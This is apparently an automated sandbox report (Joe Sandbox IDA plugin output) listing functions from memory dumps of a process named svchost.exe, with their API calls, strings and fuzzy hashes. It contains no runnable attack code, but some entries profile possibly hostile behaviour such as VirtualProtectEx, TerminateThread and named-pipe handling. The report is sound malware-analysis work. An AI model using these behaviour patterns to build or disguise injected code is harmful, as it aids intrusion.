HeapFree.KERNEL32 ref: 00000142DB1414D4
GetProcessHeap.KERNEL32 ref: 00000142DB1414E1
HeapFree.KERNEL32 ref: 00000142DB1414F0
GetProcessHeap.KERNEL32 ref: 00000142DB141500

Strings

C:\Windows\System32\svchost.exe, xrefs: 00000142DB1561A9, 00000142DB1561B1

Memory Dump Source

Source File: 00000002.00000002.2465974806.00000142DB140000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000142DB140000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_142db140000_svchost.jbxd

Similarity

API ID: Heap$Process$Free
String ID: C:\Windows\System32\svchost.exe
API String ID: 3168794593-3822071397
Opcode ID: 5f1dcf0d6982f64b78ee420bc41fcee6693c0fdf65c097574d0a291fc3cf39dd
Instruction ID: 45e4bfd81b258130c2878c13e7ef2aa785d4482a7606156c536537e6ab1822a2
Opcode Fuzzy Hash: 5f1dcf0d6982f64b78ee420bc41fcee6693c0fdf65c097574d0a291fc3cf39dd
Instruction Fuzzy Hash: 79314DB7909AC4CAF3519BB598B52AD3FF0F7DDF40F898015EA840366BEA35C4948780

Uniqueness

Uniqueness Score: -1.00%

Function 00000142DB14CFA0 Relevance: 9.1, APIs: 6, Instructions: 57COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 00000142DB14CFAF
FlsSetValue.KERNEL32(?,?,?,00000142DB14D6B5,?,?,?,?,00000142DB14D778), ref: 00000142DB14CFE5
FlsSetValue.KERNEL32(?,?,?,00000142DB14D6B5,?,?,?,?,00000142DB14D778), ref: 00000142DB14D012
FlsSetValue.KERNEL32(?,?,?,00000142DB14D6B5,?,?,?,?,00000142DB14D778), ref: 00000142DB14D023
FlsSetValue.KERNEL32(?,?,?,00000142DB14D6B5,?,?,?,?,00000142DB14D778), ref: 00000142DB14D034
SetLastError.KERNEL32 ref: 00000142DB14D04F

Memory Dump Source

Source File: 00000002.00000002.2465974806.00000142DB140000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000142DB140000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_142db140000_svchost.jbxd

Similarity

API ID: Value$ErrorLast
String ID:
API String ID: 2506987500-0
Opcode ID: 4f148fb448054b99fdb5313590ff83f86fc6d8762bc770a772f95ba4b575ef67
Instruction ID: 3ce6a464db36dbe231f539e625a41c61ab1a4fe27311875c6926c2247d4626c4
Opcode Fuzzy Hash: 4f148fb448054b99fdb5313590ff83f86fc6d8762bc770a772f95ba4b575ef67
Instruction Fuzzy Hash: 23113D30F0528441FE64A7B255753E96A926B8C7F4F944724F836477FEDE78C8C18640

Uniqueness

Uniqueness Score: -1.00%

Function 00000142DB14199C Relevance: 9.0, APIs: 6, Instructions: 42stringCOMMON

Download Yara Rule

APIs

OpenProcess.KERNEL32 ref: 00000142DB1419C2
K32GetModuleFileNameExW.KERNEL32 ref: 00000142DB1419E0
PathFindFileNameW.SHLWAPI ref: 00000142DB1419EF
lstrlenW.KERNEL32 ref: 00000142DB1419FB
StrCpyW.SHLWAPI ref: 00000142DB141A0E
CloseHandle.KERNEL32 ref: 00000142DB141A1C

Memory Dump Source

Source File: 00000002.00000002.2465974806.00000142DB140000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000142DB140000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_142db140000_svchost.jbxd

Similarity

API ID: FileName$CloseFindHandleModuleOpenPathProcesslstrlen
String ID:
API String ID: 517849248-0
Opcode ID: 01214db588610ff501214a343c1506f8e4016efad0e64bbd234dc336c45f59d3
Instruction ID: b56cc4a9219ce173573b35b060b40dacd4efe97abbc4aae6d3c36203a32190ec
Opcode Fuzzy Hash: 01214db588610ff501214a343c1506f8e4016efad0e64bbd234dc336c45f59d3
Instruction Fuzzy Hash: 4D014031B00A8082EB54DB92A4A87996BA5FB8CFC5F984035EE4D43769DF3CC589C740

Uniqueness

Uniqueness Score: -1.00%

Function 00000142DB1436C8 Relevance: 9.0, APIs: 6, Instructions: 38threadCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32 ref: 00000142DB1436E4
GetCurrentProcess.KERNEL32 ref: 00000142DB1436F2
VirtualProtectEx.KERNEL32 ref: 00000142DB143714
GetCurrentProcess.KERNEL32 ref: 00000142DB143732
VirtualProtectEx.KERNEL32 ref: 00000142DB143753
TerminateThread.KERNEL32 ref: 00000142DB143762

Memory Dump Source

Source File: 00000002.00000002.2465974806.00000142DB140000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000142DB140000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_142db140000_svchost.jbxd

Similarity

API ID: CurrentProcessProtectVirtual$HandleModuleTerminateThread
String ID:
API String ID: 449555515-0
Opcode ID: 4c9ec6165d8c5af47ee19c29b3e549fd6cc17b885c385019f049dc0dac4977bc
Instruction ID: aea3523d5b696279904d0a9f1d0b5acdef4e51f47aaabb769f8f72a283c239a1
Opcode Fuzzy Hash: 4c9ec6165d8c5af47ee19c29b3e549fd6cc17b885c385019f049dc0dac4977bc
Instruction Fuzzy Hash: 01012D75B1174482FB249BA1F82879A7BB0BB4DB86F840424ED49077B9EF3DC5988750

Uniqueness

Uniqueness Score: -1.00%

Function 00000142DB149005 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 135COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 00000142DB149013
_IsNonwritableInCurrentImage.LIBCMT ref: 00000142DB1490A8
RtlUnwindEx.NTDLL ref: 00000142DB1490F7

Strings

f, xrefs: 00000142DB149026
csm, xrefs: 00000142DB14908E

Memory Dump Source

Source File: 00000002.00000002.2465974806.00000142DB140000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000142DB140000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_142db140000_svchost.jbxd

Similarity

API ID: CurrentImageNonwritableUnwind__except_validate_context_record
String ID: csm$f
API String ID: 2395640692-629598281
Opcode ID: 114af5d7cf0438a1297bb8b9b6869ba79c6078414514cf9bb502ab9f42d0baed
Instruction ID: 431290c4c3ab092a09d6f97ded21218179382b6830118b0e229e3433f22b8405
Opcode Fuzzy Hash: 114af5d7cf0438a1297bb8b9b6869ba79c6078414514cf9bb502ab9f42d0baed
Instruction Fuzzy Hash: 0351B232B11600CEEB54DF55E868B993B96F34AFE8F908124EA16477ACEB75C9C1C740

Uniqueness

Uniqueness Score: -1.00%

Function 00000142DB148FE8 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 75COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 00000142DB149013
_IsNonwritableInCurrentImage.LIBCMT ref: 00000142DB1490A8
RtlUnwindEx.NTDLL ref: 00000142DB1490F7

Strings

f, xrefs: 00000142DB149026
csm, xrefs: 00000142DB14908E

Memory Dump Source

Source File: 00000002.00000002.2465974806.00000142DB140000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000142DB140000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_142db140000_svchost.jbxd

Similarity

API ID: CurrentImageNonwritableUnwind__except_validate_context_record
String ID: csm$f
API String ID: 2395640692-629598281
Opcode ID: 0036035fc280b7a5a111a049c7edfc77b7be6b9ab52e14187ebc45e366edaa55
Instruction ID: c483b976e71ea0b883becd5ea67814c42be2e62489908683eae6e364c117f3c0
Opcode Fuzzy Hash: 0036035fc280b7a5a111a049c7edfc77b7be6b9ab52e14187ebc45e366edaa55
Instruction Fuzzy Hash: B331C032B10640CAE714DF91E8687993FA9F349BD8F958114FE5A077ADDB39C980C744

Uniqueness

Uniqueness Score: -1.00%

Function 00000142DB141A40 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 30stringCOMMON

Download Yara Rule

APIs

GetFinalPathNameByHandleW.KERNEL32 ref: 00000142DB141A60
StrCmpNIW.SHLWAPI ref: 00000142DB141A7A
lstrlenW.KERNEL32 ref: 00000142DB141A89
StrCpyW.SHLWAPI ref: 00000142DB141A9E

Strings

\\?\, xrefs: 00000142DB141A6E

Memory Dump Source

Source File: 00000002.00000002.2465974806.00000142DB140000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000142DB140000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_142db140000_svchost.jbxd

Similarity

API ID: FinalHandleNamePathlstrlen
String ID: \\?\
API String ID: 2719912262-4282027825
Opcode ID: c1daab9146f2a1614ef605d22fd4f721266e20aa8a0235322e79b2424596649d
Instruction ID: 849fd659aeb8b6c1eef8404c1304ab30d81d27248a5e64f6e149dd43ce34c99b
Opcode Fuzzy Hash: c1daab9146f2a1614ef605d22fd4f721266e20aa8a0235322e79b2424596649d
Instruction Fuzzy Hash: 3AF03132B0468192E7608BA1E8A47996BB1F74CBC8FD44020EA4947568DE3CC6CDCB00

Uniqueness

Uniqueness Score: -1.00%

Function 00000142DB143044 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 27COMMON

Download Yara Rule

APIs

StrCmpIW.SHLWAPI ref: 00000142DB143066
StrCpyW.SHLWAPI ref: 00000142DB143076
StrCatW.SHLWAPI ref: 00000142DB143082
PathCombineW.SHLWAPI ref: 00000142DB143090

Strings

\\.\pipe\, xrefs: 00000142DB14305C

Memory Dump Source

Source File: 00000002.00000002.2465974806.00000142DB140000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000142DB140000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_142db140000_svchost.jbxd

Similarity

API ID: CombinePath
String ID: \\.\pipe\
API String ID: 3422762182-91387939
Opcode ID: 8c685e1f0b85bfe06f91eeefbd03c12bff8419d51c8b157116edbf6ca1c9c829
Instruction ID: 39c62d7ff73d9df768cd81ca70d6262b0c5a93aa8e370f6e818c86b01c5f46a1
Opcode Fuzzy Hash: 8c685e1f0b85bfe06f91eeefbd03c12bff8419d51c8b157116edbf6ca1c9c829
Instruction Fuzzy Hash: 94F0F874B14B8482EA948B93B9242996AB1AB4CFD0F889130FE4A47B6CDE38C5C5C740

Uniqueness

Uniqueness Score: -1.00%

Function 00000142DB14BC98 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 27libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32 ref: 00000142DB14BCBD
GetProcAddress.KERNEL32 ref: 00000142DB14BCD3
FreeLibrary.KERNEL32 ref: 00000142DB14BCFA

Strings

CorExitProcess, xrefs: 00000142DB14BCCC
mscoree.dll, xrefs: 00000142DB14BCB4

Memory Dump Source

Source File: 00000002.00000002.2465974806.00000142DB140000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000142DB140000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_142db140000_svchost.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: 0f45d19500fbd6816ab24c8a126c5dacde8056cea587c59ff890217df17fdf5d
Instruction ID: 4939e3b87bf7fe4bf720d1a0dc3e35d14a120877e0fdf91011b5bd2737b4d96b
Opcode Fuzzy Hash: 0f45d19500fbd6816ab24c8a126c5dacde8056cea587c59ff890217df17fdf5d
Instruction Fuzzy Hash: 24F06271A1160481FB108BA4E46539A6BB0EB8C7A5FD40319EA6A471FCCF3CC1C4C340

Uniqueness

Uniqueness Score: -1.00%

Function 00000142DB1450D0 Relevance: 7.8, APIs: 5, Instructions: 318threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 00000142DB145156

Memory Dump Source

Source File: 00000002.00000002.2465974806.00000142DB140000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000142DB140000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_142db140000_svchost.jbxd

Similarity

API ID: CurrentThread
String ID:
API String ID: 2882836952-0
Opcode ID: e13ad259af2044a9722e5c88be2fea28068701e2040856c8b7ebe2328a6e9181
Instruction ID: 0c9d8c590311c688053b78a2b42c4e8702ba264ebdfeef01166dd84d41b1d2a9
Opcode Fuzzy Hash: e13ad259af2044a9722e5c88be2fea28068701e2040856c8b7ebe2328a6e9181
Instruction Fuzzy Hash: B702BB32619B8486E760CB95F4A079ABBA0F3C9794F501515FA8E87BADDF7CC494CB00

Uniqueness

Uniqueness Score: -1.00%

Function 00000142DB145710 Relevance: 7.6, APIs: 5, Instructions: 124threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 00000142DB145726

Memory Dump Source

Source File: 00000002.00000002.2465974806.00000142DB140000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000142DB140000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_142db140000_svchost.jbxd

Similarity

API ID: CurrentThread
String ID:
API String ID: 2882836952-0
Opcode ID: b02f694671304b5a077fe24bce3094f0c3b02718cee177a37b7a7da192a85efa
Instruction ID: 715d8031f781b195eaa54536456ee4422aa1990d63212575f18fd379ff474c85
Opcode Fuzzy Hash: b02f694671304b5a077fe24bce3094f0c3b02718cee177a37b7a7da192a85efa
Instruction Fuzzy Hash: C8619836919B85C6E7608B96E46435ABBA0F38C794F901115FA8E87BBCDB7CC594CF00

Uniqueness

Uniqueness Score: -1.00%

Function 00000142DB413504 Relevance: 7.6, APIs: 5, Instructions: 56COMMONLIBRARYCODE

Download Yara Rule

APIs

_set_statfp.LIBCMT ref: 00000142DB41352C
_set_statfp.LIBCMT ref: 00000142DB413547
_set_statfp.LIBCMT ref: 00000142DB413563
_set_statfp.LIBCMT ref: 00000142DB41359F

Memory Dump Source

Source File: 00000002.00000002.2466799822.00000142DB400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00000142DB400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_142db400000_svchost.jbxd

Similarity

API ID: _set_statfp
String ID:
API String ID: 1156100317-0
Opcode ID: 9af7c444609857cffc651de9bcb8f693be62289a5d0e310862a2fbcb97617874
Instruction ID: 63e741845e30555b2dc79199f542b165c725312b7be0c15b85454b56ba803039
Opcode Fuzzy Hash: 9af7c444609857cffc651de9bcb8f693be62289a5d0e310862a2fbcb97617874
Instruction Fuzzy Hash: DA11A333E50E1131FA6495E9E471BE91D806B59BF4FC88A28FB66262F6DA34C8C14200

Uniqueness

Uniqueness Score: -1.00%

Function 00000142DB154104 Relevance: 7.6, APIs: 5, Instructions: 56COMMONLIBRARYCODE

Download Yara Rule

APIs

_set_statfp.LIBCMT ref: 00000142DB15412C
_set_statfp.LIBCMT ref: 00000142DB154147
_set_statfp.LIBCMT ref: 00000142DB154163
_set_statfp.LIBCMT ref: 00000142DB15419F

Memory Dump Source

Source File: 00000002.00000002.2465974806.00000142DB140000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000142DB140000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_142db140000_svchost.jbxd

Similarity

API ID: _set_statfp
String ID:
API String ID: 1156100317-0
Opcode ID: 9af7c444609857cffc651de9bcb8f693be62289a5d0e310862a2fbcb97617874
Instruction ID: 29976699dfc5f6db890eeb92f681ee6369f2a0b333b4dc6f5bcfa7218e49d877
Opcode Fuzzy Hash: 9af7c444609857cffc651de9bcb8f693be62289a5d0e310862a2fbcb97617874
Instruction Fuzzy Hash: A3119132E10A7091F66455E8D4B33E519F16B6CBF8FD80624F976076FE8A34D8C14240

Uniqueness

Uniqueness Score: -1.00%

Function 00000142DB40F040 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 182COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00000142DB40F124

Strings

Tuesday, xrefs: 00000142DB40F0F4
or copy constructor iterator', xrefs: 00000142DB40F25A, 00000142DB40F275
Wednesday, xrefs: 00000142DB40F1ED

Memory Dump Source

Source File: 00000002.00000002.2466799822.00000142DB400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00000142DB400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_142db400000_svchost.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: Tuesday$Wednesday$or copy constructor iterator'
API String ID: 3215553584-4202648911
Opcode ID: 9e57f18f61c22f0406784eb273be7b0d6046b42052b72e443b30de0c50228f55
Instruction ID: 06ff0b4f0cce51775c7042ab016a9ddf3ef42feae66f0e2a9cd6c2fc57e87b47
Opcode Fuzzy Hash: 9e57f18f61c22f0406784eb273be7b0d6046b42052b72e443b30de0c50228f55
Instruction Fuzzy Hash: 0261A176E0464082FA69DBE8E5703FA6EA1EB85780FF14539FB0A177B5DB35C8C18201

Uniqueness

Uniqueness Score: -1.00%

Function 00000142DB14AA1C Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 147COMMON

Download Yara Rule

APIs

EncodePointer.KERNEL32 ref: 00000142DB14AA68
_CallSETranslator.LIBVCRUNTIME ref: 00000142DB14AAB7

Strings

MOC, xrefs: 00000142DB14AA7C
RCC, xrefs: 00000142DB14AA85

Memory Dump Source

Source File: 00000002.00000002.2465974806.00000142DB140000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000142DB140000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_142db140000_svchost.jbxd

Similarity

API ID: CallEncodePointerTranslator
String ID: MOC$RCC
API String ID: 3544855599-2084237596
Opcode ID: c123fbbb8780cd52d1c7b069b1b1cc678e7e4f5673d54000f6e5fbfac7098139
Instruction ID: 4cef527e814f84670e8c0c982b15171a2ceedb8f56773f7bbb9697b9000b5036
Opcode Fuzzy Hash: c123fbbb8780cd52d1c7b069b1b1cc678e7e4f5673d54000f6e5fbfac7098139
Instruction Fuzzy Hash: 54618B33A10B848AEB20DFA5D4903DD7BA1F348B8CF554215EF8917BA8DB78D599C740

Uniqueness

Uniqueness Score: -1.00%

Function 00000142DB40A178 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 145COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 00000142DB40A1A0
__FrameHandler3::FrameUnwindToEmptyState.LIBVCRUNTIME ref: 00000142DB40A288

Strings

csm, xrefs: 00000142DB40A1C2
csm, xrefs: 00000142DB40A2DA

Memory Dump Source

Source File: 00000002.00000002.2466799822.00000142DB400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00000142DB400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_142db400000_svchost.jbxd

Similarity

API ID: Frame$EmptyHandler3::StateUnwind__except_validate_context_record
String ID: csm$csm
API String ID: 3896166516-3733052814
Opcode ID: b607b9418e38c48ebb6f53552568b8ff7a3aff5a85fd43f0b6d07fa9fad214e5
Instruction ID: 3ea2a197d37320ed178d160b2214e9d0a2a95c4972ce234298f4a18f4600df30
Opcode Fuzzy Hash: b607b9418e38c48ebb6f53552568b8ff7a3aff5a85fd43f0b6d07fa9fad214e5
Instruction Fuzzy Hash: 7D518F32901381CAEB64CFA595743E87BA0F755B84FA84229FB9987BE5CB38D4D0C701

Uniqueness

Uniqueness Score: -1.00%

Function 00000142DB14AD78 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 145COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 00000142DB14ADA0
__FrameHandler3::FrameUnwindToEmptyState.LIBVCRUNTIME ref: 00000142DB14AE88

Strings

csm, xrefs: 00000142DB14ADC2
csm, xrefs: 00000142DB14AEDA

Memory Dump Source

Source File: 00000002.00000002.2465974806.00000142DB140000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000142DB140000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_142db140000_svchost.jbxd

Similarity

API ID: Frame$EmptyHandler3::StateUnwind__except_validate_context_record
String ID: csm$csm
API String ID: 3896166516-3733052814
Opcode ID: b607b9418e38c48ebb6f53552568b8ff7a3aff5a85fd43f0b6d07fa9fad214e5
Instruction ID: fb9bd648368992db92c11e036fea3ddc01667d61f4a47c76a277892e64a7eb71
Opcode Fuzzy Hash: b607b9418e38c48ebb6f53552568b8ff7a3aff5a85fd43f0b6d07fa9fad214e5
Instruction Fuzzy Hash: D251D1729207808AEB748F9591A43DD7FA0F358B84F954126FA9987BEDCB38C4D4C700

Uniqueness

Uniqueness Score: -1.00%

Function 00000142DB408405 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 135COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 00000142DB408413
_IsNonwritableInCurrentImage.LIBCMT ref: 00000142DB4084A8

Strings

f, xrefs: 00000142DB408426
csm, xrefs: 00000142DB40848E

Memory Dump Source

Source File: 00000002.00000002.2466799822.00000142DB400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00000142DB400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_142db400000_svchost.jbxd

Similarity

API ID: CurrentImageNonwritable__except_validate_context_record
String ID: csm$f
API String ID: 3242871069-629598281
Opcode ID: 114af5d7cf0438a1297bb8b9b6869ba79c6078414514cf9bb502ab9f42d0baed
Instruction ID: ad243aa99022eb2970de7bd7d378c8a62c4c83db627cc2f481360d880b802005
Opcode Fuzzy Hash: 114af5d7cf0438a1297bb8b9b6869ba79c6078414514cf9bb502ab9f42d0baed
Instruction Fuzzy Hash: 1851B132F116008AEB94CF55E574B993BA5F394B98FA08124FF56577A8FB34C8C18B04

Uniqueness

Uniqueness Score: -1.00%

Function 00000142DB4083E8 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 75COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 00000142DB408413
_IsNonwritableInCurrentImage.LIBCMT ref: 00000142DB4084A8

Strings

f, xrefs: 00000142DB408426
csm, xrefs: 00000142DB40848E

Memory Dump Source

Source File: 00000002.00000002.2466799822.00000142DB400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00000142DB400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_142db400000_svchost.jbxd

Similarity

API ID: CurrentImageNonwritable__except_validate_context_record
String ID: csm$f
API String ID: 3242871069-629598281
Opcode ID: 0036035fc280b7a5a111a049c7edfc77b7be6b9ab52e14187ebc45e366edaa55
Instruction ID: 3288d81911dc04953b01763c670073d3d52877f08a0ebef0c21800ba19d51fc6
Opcode Fuzzy Hash: 0036035fc280b7a5a111a049c7edfc77b7be6b9ab52e14187ebc45e366edaa55
Instruction Fuzzy Hash: 93318B32A1165096E794DF51E974B997BA4F340BD8FA58014FF9A077A8EB38C981CB04

Uniqueness

Uniqueness Score: -1.00%

Function 00000142DB152058 Relevance: 6.3, APIs: 4, Instructions: 299fileCOMMON

Download Yara Rule

APIs

GetConsoleOutputCP.KERNEL32 ref: 00000142DB1520D7
WriteFile.KERNEL32 ref: 00000142DB15239F
WriteFile.KERNEL32 ref: 00000142DB1523E5
GetLastError.KERNEL32 ref: 00000142DB15249B

Memory Dump Source

Source File: 00000002.00000002.2465974806.00000142DB140000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000142DB140000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_142db140000_svchost.jbxd

Similarity

API ID: FileWrite$ConsoleErrorLastOutput
String ID:
API String ID: 2718003287-0
Opcode ID: 3a35214534a53fd0655822596b90f4932f5655332a96a267e8fac8abb8670521
Instruction ID: 9813c85d6a4e6b410be3fbba291da680de5116a64f4612608ae0abed409cd789
Opcode Fuzzy Hash: 3a35214534a53fd0655822596b90f4932f5655332a96a267e8fac8abb8670521
Instruction Fuzzy Hash: 56D1C073B14A8089E711CFA9D4503EC3BF2F358798F944216EE5997BADDA34D586C380

Uniqueness

Uniqueness Score: -1.00%

Function 00000142DB152980 Relevance: 6.2, APIs: 4, Instructions: 218COMMON

Download Yara Rule

APIs

GetConsoleMode.KERNEL32 ref: 00000142DB152A9C
GetLastError.KERNEL32 ref: 00000142DB152B27

Memory Dump Source

Source File: 00000002.00000002.2465974806.00000142DB140000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000142DB140000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_142db140000_svchost.jbxd

Similarity

API ID: ConsoleErrorLastMode
String ID:
API String ID: 953036326-0
Opcode ID: fa691138abb93940963a85324df6708f2ee223ec670a65e1a7af20f8b77031a4
Instruction ID: 09b4fb6334474ae7ba443719dd27fb923689fdde7a1d2b8d639452366c468453
Opcode Fuzzy Hash: fa691138abb93940963a85324df6708f2ee223ec670a65e1a7af20f8b77031a4
Instruction Fuzzy Hash: A1918B73F1065485FB649FA594A07ED2FF0B758B88F944109EE4A67AADDB34C4C2C780

Uniqueness

Uniqueness Score: -1.00%

Function 00000142DB14253C Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 185COMMON

Download Yara Rule

APIs

GetFileType.KERNEL32 ref: 00000142DB142620
StrCpyW.SHLWAPI ref: 00000142DB142639

Strings

\\.\pipe\, xrefs: 00000142DB14262B

Memory Dump Source

Source File: 00000002.00000002.2465974806.00000142DB140000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000142DB140000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_142db140000_svchost.jbxd

Similarity

API ID: FileType
String ID: \\.\pipe\
API String ID: 3081899298-91387939
Opcode ID: 54f1dfa0457f4d2b58266312e3bc9b9bd619b52cd53b64f893b189ad2eed13fb
Instruction ID: 4db692cd766821b03bbcf4e6706c42bc2717f3e951b7059b7027aecbf0cfbe0a
Opcode Fuzzy Hash: 54f1dfa0457f4d2b58266312e3bc9b9bd619b52cd53b64f893b189ad2eed13fb
Instruction Fuzzy Hash: 7D71F436A2078185E7249FE6A8603EA6F90F39D784FD40126FD0953BADDE34C6C5CB40

Uniqueness

Uniqueness Score: -1.00%

Function 00000142DB409E1C Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 147COMMON

Download Yara Rule

APIs

_CallSETranslator.LIBVCRUNTIME ref: 00000142DB409EB7

Strings

MOC, xrefs: 00000142DB409E7C
RCC, xrefs: 00000142DB409E85

Memory Dump Source

Source File: 00000002.00000002.2466799822.00000142DB400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00000142DB400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_142db400000_svchost.jbxd

Similarity

API ID: CallTranslator
String ID: MOC$RCC
API String ID: 3163161869-2084237596
Opcode ID: c123fbbb8780cd52d1c7b069b1b1cc678e7e4f5673d54000f6e5fbfac7098139
Instruction ID: 3199ed8390d0fa05e3664a4108cc5041b4d27e05b68a5a1648824dc15d2af2f6
Opcode Fuzzy Hash: c123fbbb8780cd52d1c7b069b1b1cc678e7e4f5673d54000f6e5fbfac7098139
Instruction Fuzzy Hash: 3D619D73A01B848AEB20DFA9D4603DD7BA0F398B88F644215FF4917BA9DB38D595C740

Uniqueness

Uniqueness Score: -1.00%

Function 00000142DB142330 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 141COMMON

Download Yara Rule

APIs

GetFileType.KERNEL32 ref: 00000142DB142416
StrCpyW.SHLWAPI ref: 00000142DB14242D

Strings

\\.\pipe\, xrefs: 00000142DB142421

Memory Dump Source

Source File: 00000002.00000002.2465974806.00000142DB140000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000142DB140000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_142db140000_svchost.jbxd

Similarity

API ID: FileType
String ID: \\.\pipe\
API String ID: 3081899298-91387939
Opcode ID: 713d5f66120afee1318357aa22047e1871f046a8e1f6ca4f8182a23e28854f89
Instruction ID: 936b627bceefdb86dea39e6e9df08739a518a2253896ac0f6be0d4a5c16ce657
Opcode Fuzzy Hash: 713d5f66120afee1318357aa22047e1871f046a8e1f6ca4f8182a23e28854f89
Instruction Fuzzy Hash: 3951C232E1478181E6749EEAA4783FA6F91F38D780FD90125EE5903BADDA39C5C58780

Uniqueness

Uniqueness Score: -1.00%

Function 00000142DB1526F0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 100fileCOMMON

Download Yara Rule

APIs

WriteFile.KERNEL32 ref: 00000142DB152807
GetLastError.KERNEL32 ref: 00000142DB152829

Strings

U, xrefs: 00000142DB1527B3

Memory Dump Source

Source File: 00000002.00000002.2465974806.00000142DB140000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000142DB140000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_142db140000_svchost.jbxd

Similarity

API ID: ErrorFileLastWrite
String ID: U
API String ID: 442123175-4171548499
Opcode ID: 769e155e8e03be1ef4aeb5f55e8b8ada6faf705201daec98c5fb8cb61498ce5a
Instruction ID: 35393f13426a4f58b8523b06a49a22c73a28843ca0030a4ac0d8de0d937783e7
Opcode Fuzzy Hash: 769e155e8e03be1ef4aeb5f55e8b8ada6faf705201daec98c5fb8cb61498ce5a
Instruction Fuzzy Hash: D4417173B15A8086DB20DFA5E8543EA6BA4F798794F904121EE4D877A8DB7CC581CB80

Uniqueness

Uniqueness Score: -1.00%

Function 00000142DB1494A0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 44COMMONLIBRARYCODE

Download Yara Rule

APIs

RtlPcToFileHeader.NTDLL ref: 00000142DB1494F0
RaiseException.KERNEL32 ref: 00000142DB149531

Strings

csm, xrefs: 00000142DB14951E

Memory Dump Source

Source File: 00000002.00000002.2465974806.00000142DB140000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000142DB140000, based on PE: true

Joe Sandbox IDA Plugin

